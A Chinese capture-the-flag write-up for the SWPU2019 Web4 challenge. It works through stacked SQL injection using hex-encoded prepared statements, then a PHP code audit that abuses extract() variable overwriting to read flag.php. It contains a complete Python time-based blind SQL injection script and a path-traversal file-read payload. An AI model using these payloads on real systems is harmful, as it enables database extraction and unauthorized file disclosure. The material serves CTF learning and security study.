[SWPU2019]Web4
PDO注入(堆叠注入)
- 首先发现一个登录框,但是不能注册
- 进行抓包,发现json数据格式,猜测可能是sql注入或者xxe漏洞
- 输入 ’ 报错,但是输入"或者‘ “ 不报错->猜测为堆叠注入[[mysql-堆叠注入]]
名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。 - 因为过滤了很多关键字,尝试使用预处理语句加hex编码绕过
set @sql=concat('sele','ct * fr','om Fl','ag');
prepare xxx from @sql;
execute xxx;
//把'sele','ct * fr','om Fl','ag'联合放入@sql中
//prepare aaa from @sql;从@sql调制东西放入aaa中;//
//EXCUTE aaa;执行aaa;
payload
import requests
import time
import json
def str_to_hex(str_str):
a=''.join([hex(ord(c)).replace('0x', '') for c in str_str])
return '0x'+a
url = 'http://467789dd-f8c9-4666-878e-bb49efded6fd.node5.buuoj.cn:81/index.php?r=Login/Login'
flag = ''
payloads="admin';set @a={0};prepare test from @a;execute test;"
# set @a=0x73656C65637420736C65657028313029;prepare test from @a;execute test;
for i in range(1,1000):
high = 127
low = 0
mid = (low + high) // 2
while high > low:
# payload=f"select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())"
# payload = f"select if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)" #查库名
# payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" #查库名
# payload = f"select if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)like('ctf')),{i},1))>{mid},sleep(2),1)#" #查表名
# payload = f"select if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)like('flag')),{i},1))>{mid},sleep(2),1)#" #查列名
payload = f"select if(ascii(substr((select(flag)from flag),{i},1))={mid},sleep(3),1)#" #查数据
# payload = f"1/**/and/**/if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid},sleep(2),1)#" #查所有数据库名
# payload=f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})#'
# data = {
# "id":payload
# }
# proxies = {'http': '127.0.0.1:8080'}
# print(payload)
print(payloads.format(str_to_hex(payload)))
data={
"username": payloads.format(str_to_hex(payload)),
"password": "12345"
}
data=json.dumps(data)
# print(data)
time.sleep(0.1)
last = int(time.time())
response = requests.post(url=url,data=data)
now = int(time.time())
if now - last > 1.5 :
low = mid + 1
else :
high = mid
mid = (low + high) // 2
if low != 0 :
flag += chr(int(low))
else:
break
print(flag)
代码审计
- 首先查看控制器的BaseController.php,根据名字是基类
- 发现,变量覆盖函数extract(),对第二个参数进行覆盖,所以要得到调用该函数,且第二个参数可控的地方
- 直接ctr+shift+f,搜索这个函数出现的地方,进行查找,发现只有控制器下的UserController.php有满足条件的
- actionList函数下的还经过了一个类,估计不行。先看actionIndex,发现他对于的页面是userIndex提供的,进去看看
- 这里会输出文件的base64加密的数据,我们可以对img_file进行变量覆盖,因为ListData变量来源于
$_REQUEST
,可以直接使用请求传入变量
- 来个路由规则
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";
if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}
1. 首先检查是否存在`$_REQUEST['r']`,即请求中是否包含了路由参数。
2. 如果存在路由参数,则将其按照`/`进行分割,得到控制器和方法名称。
3. 然后将控制器名后面加上"Controller",将方法名前面加上"action",以符合通常的命名约定。
4. 检查是否存在对应的控制器类,如果存在,则继续判断是否存在对应的方法。
5. 如果找到了对应的控制器和方法,就准备执行相关操作。
6. 如果找不到对应的方法,则默认执行`actionIndex`方法。
7. 如果找不到对应的控制器类,就将控制器设置为`LoginController`,方法设置为`actionIndex`。
8. 最后,使用`call_user_func`函数调用相应的控制器和方法,并将结果存储在`$data`变量中。
9. 如果请求中没有包含路由参数,则将页面重定向到 `index.php?r=Login/Index`。
- 所以这里构造:路由为
index.php?r=User/Index
- 所以最后
payload
GET: index.php?r=User/Index
POST: img_file=/../flag.php
进行base64解码